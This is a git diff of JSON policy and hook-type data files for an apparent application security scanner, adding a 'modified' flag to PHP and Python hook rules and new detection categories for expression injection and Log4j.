"system_type": 1, @@ -124,6 +130,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -142,6 +149,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -167,6 +175,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -185,6 +194,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -203,6 +213,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -221,6 +232,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -239,6 +251,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -257,6 +270,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -275,6 +289,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -293,6 +308,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -311,6 +327,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -329,6 +346,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -347,6 +365,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -365,6 +384,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -383,6 +403,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -401,6 +422,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -419,6 +441,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -437,6 +460,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -455,6 +479,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -473,6 +498,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -491,6 +517,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -509,6 +536,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -527,6 +555,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -545,6 +574,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -563,6 +593,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -581,6 +612,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -599,6 +631,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -617,6 +650,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -635,6 +669,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -653,6 +688,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -671,6 +707,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -689,6 +726,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -714,6 +752,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -732,6 +771,7 @@ "ignore_internal": false, "inherit": "false", "language": 3, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, diff --git a/static/data/php_hooktype.json b/static/data/php_hooktype.json index 89a0ad7ce..270dda309 100644 --- a/static/data/php_hooktype.json +++ b/static/data/php_hooktype.json @@ -1,4 +1,15 @@ [ + { + "created_by": 1, + "enable": 1, + "language": 3, + "name": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, @@ -54,6 +65,39 @@ "type": 2, "value": "GET" }, + { + "created_by": 1, + "enable": 1, + "language": 3, + "name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "created_by": 1, + "enable": 1, + "language": 3, + "name": "Log4j", + "name_en": null, + "name_zh": "Log4j", + "system_type": 1, + "type": 4, + "value": "Log4j" + }, + { + "created_by": 1, + "enable": 1, + "language": 3, + "name": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, diff --git a/static/data/python_full_policy.json b/static/data/python_full_policy.json index 92610e536..6eaed4fb0 100644 --- a/static/data/python_full_policy.json +++ b/static/data/python_full_policy.json @@ -9,6 +9,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,cmd", "stack_blacklist": [], "system_type": 1, @@ -27,6 +28,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,command", "stack_blacklist": [], "system_type": 1, @@ -45,6 +47,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,args", "stack_blacklist": [], "system_type": 1, @@ -70,6 +73,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -88,6 +92,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -113,6 +118,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -131,6 +137,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -149,6 +156,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -167,6 +175,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -185,6 +194,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -203,6 +213,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -221,6 +232,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -239,6 +251,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -257,6 +270,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -275,6 +289,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -293,6 +308,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -311,6 +327,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -329,6 +346,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -347,6 +365,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,2,plaintext", "stack_blacklist": [], "system_type": 1, @@ -372,6 +391,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -390,6 +410,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -408,6 +429,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -426,6 +448,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -444,6 +467,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -462,6 +486,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -480,6 +505,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,source", "stack_blacklist": [], "system_type": 1, @@ -498,6 +524,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -516,6 +543,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -534,6 +562,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,source", "stack_blacklist": [], "system_type": 1, @@ -552,6 +581,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -570,6 +600,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -588,6 +619,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,object", "stack_blacklist": [], "system_type": 1, @@ -606,6 +638,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -624,6 +657,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -642,6 +676,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -660,6 +695,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -678,6 +714,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -696,6 +733,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -714,6 +752,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -732,6 +771,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": true, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -750,24 +790,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, - "source": "P", - "stack_blacklist": [], - "system_type": 1, - "tags": [], - "target": "R", - "track": "false", - "type": 1, - "untags": [], - "value": "builtins.str.fstring" - }, - { - "command": "", - "created_by": 1, - "enable": 1, - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "false", - "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -786,6 +809,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -804,6 +828,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -822,6 +847,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -840,6 +866,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -858,6 +885,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -876,6 +904,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -894,6 +923,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -912,6 +942,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -930,6 +961,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -948,6 +980,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -966,6 +999,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -984,6 +1018,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1002,6 +1037,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1020,6 +1056,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1038,6 +1075,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1056,6 +1094,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1074,6 +1113,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1092,6 +1132,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1110,6 +1151,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1128,6 +1170,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1146,6 +1189,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1164,6 +1208,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1182,6 +1227,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1200,6 +1246,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,obj", "stack_blacklist": [], "system_type": 1, @@ -1218,6 +1265,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -1236,6 +1284,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1254,6 +1303,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,string", "stack_blacklist": [], "system_type": 1, @@ -1272,6 +1322,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,data", "stack_blacklist": [], "system_type": 1, @@ -1290,6 +1341,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,documents", "stack_blacklist": [], "system_type": 1, @@ -1315,6 +1367,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1333,6 +1386,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,path", "stack_blacklist": [], "system_type": 1, @@ -1351,6 +1405,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1369,6 +1424,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1387,6 +1443,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1405,6 +1462,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1423,6 +1481,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1441,6 +1500,7 @@ "ignore_internal": false, "inherit": "all", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1459,6 +1519,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1484,6 +1545,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -1502,6 +1564,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P", "stack_blacklist": [], "system_type": 1, @@ -1520,6 +1583,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,assertion_value", "stack_blacklist": [], "system_type": 1, @@ -1538,6 +1602,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,text", "stack_blacklist": [], "system_type": 1, @@ -1556,6 +1621,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -1574,6 +1640,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,s", "stack_blacklist": [], "system_type": 1, @@ -1592,6 +1659,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1617,6 +1685,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P4,filterstr", "stack_blacklist": [], "system_type": 1, @@ -1635,6 +1704,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P3,search_filter", "stack_blacklist": [], "system_type": 1, @@ -1660,6 +1730,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,filter", "stack_blacklist": [], "system_type": 1, @@ -1685,6 +1756,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,file", "stack_blacklist": [], "system_type": 1, @@ -1710,6 +1782,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1728,6 +1801,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1746,6 +1820,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1764,6 +1839,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1782,6 +1858,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1800,6 +1877,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,pattern", "stack_blacklist": [], "system_type": 1, @@ -1825,6 +1903,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,content", "stack_blacklist": [], "system_type": 1, @@ -1843,6 +1922,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,rv", "stack_blacklist": [], "system_type": 1, @@ -1868,6 +1948,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -1886,6 +1967,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -1904,6 +1986,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,operation", "stack_blacklist": [], "system_type": 1, @@ -1922,6 +2005,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,operation", "stack_blacklist": [], "system_type": 1, @@ -1940,6 +2024,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -1958,6 +2043,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -1976,6 +2062,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -1994,6 +2081,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,query", "stack_blacklist": [], "system_type": 1, @@ -2012,6 +2100,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2030,6 +2119,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2048,6 +2138,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2073,6 +2164,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P3,url", "stack_blacklist": [], "system_type": 1, @@ -2091,6 +2183,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P3,url", "stack_blacklist": [], "system_type": 1, @@ -2116,6 +2209,7 @@ "ignore_internal": false, "inherit": "all", "language": 2, + "modified": false, "source": "P1,file", "stack_blacklist": [], "system_type": 1, @@ -2134,6 +2228,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,data", "stack_blacklist": [], "system_type": 1, @@ -2152,6 +2247,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,stream", "stack_blacklist": [], "system_type": 1, @@ -2170,6 +2266,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,stream", "stack_blacklist": [], "system_type": 1, @@ -2188,6 +2285,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,stream", "stack_blacklist": [], "system_type": 1, @@ -2206,6 +2304,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,stream", "stack_blacklist": [], "system_type": 1, @@ -2224,6 +2323,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P2,stream", "stack_blacklist": [], "system_type": 1, @@ -2242,6 +2342,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,stream", "stack_blacklist": [], "system_type": 1, @@ -2260,6 +2361,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,stream", "stack_blacklist": [], "system_type": 1, @@ -2285,6 +2387,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,text", "stack_blacklist": [], "system_type": 1, @@ -2303,6 +2406,7 @@ "ignore_internal": false, "inherit": "false", "language": 2, + "modified": false, "source": "P1,source", "stack_blacklist": [], "system_type": 1, diff --git a/static/data/python_hooktype.json b/static/data/python_hooktype.json index 88607430c..deaaf3054 100644 --- a/static/data/python_hooktype.json +++ b/static/data/python_hooktype.json @@ -1,4 +1,15 @@ [ + { + "created_by": 1, + "enable": 1, + "language": 2, + "name": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, @@ -43,6 +54,39 @@ "type": 3, "value": "FileWrite" }, + { + "created_by": 1, + "enable": 1, + "language": 2, + "name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "created_by": 1, + "enable": 1, + "language": 2, + "name": "Log4j", + "name_en": null, + "name_zh": "Log4j", + "system_type": 1, + "type": 4, + "value": "Log4j" + }, + { + "created_by": 1, + "enable": 1, + "language": 2, + "name": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, diff --git a/static/data/python_policy.json b/static/data/python_policy.json index 380113cba..040b31370 100644 --- a/static/data/python_policy.json +++ b/static/data/python_policy.json @@ -353,19 +353,6 @@ "untags": [], "value": "builtins.str.fstring" }, - { - "command": "", - "ignore_blacklist": false, - "ignore_internal": false, - "inherit": "false", - "source": "P", - "stack_blacklist": [], - "tags": [], - "target": "R", - "track": "false", - "untags": [], - "value": "builtins.str.fstring" - }, { "command": "", "ignore_blacklist": false, diff --git a/static/data/vul_strategy.json b/static/data/vul_strategy.json index 702d3095b..ca1c6442b 100644 --- a/static/data/vul_strategy.json +++ b/static/data/vul_strategy.json @@ -7,14 +7,30 @@ "vul_desc": "CWE-917\uff0c\u8be5\u8f6f\u4ef6\u4f7f\u7528\u6765\u81ea\u4e0a\u6e38\u7ec4\u4ef6\u7684\u5916\u90e8\u5f71\u54cd\u7684\u8f93\u5165\u6765\u6784\u9020Java Server Page\uff08JSP\uff09\u4e2d\u7684\u5168\u90e8\u6216\u90e8\u5206\u8868\u8fbe\u8bed\u8a00\uff08EL\uff09\u8bed\u53e5\uff0c\u4f46\u4e0d\u4f1a\u4e2d\u548c\u6216\u9519\u8bef\u5730\u4e2d\u548c\u4e86\u53ef\u4ee5\u4fee\u6539\u9884\u671f\u7684EL\u8bed\u53e5\u7684\u7279\u6b8a\u5143\u7d20\u3002\u5b83\u88ab\u6267\u884c\u3002\n\nEL\uff08Expression Language\uff09 \u662f\u4e3a\u4e86\u4f7fJSP\u5199\u8d77\u6765\u66f4\u52a0\u7b80\u5355\u3002\u8868\u8fbe\u5f0f\u8bed\u8a00\u7684\u7075\u611f\u6765\u81ea\u4e8e ECMAScript \u548c XPath \u8868\u8fbe\u5f0f\u8bed\u8a00\uff0c\u5b83\u63d0\u4f9b\u4e86\u5728 JSP 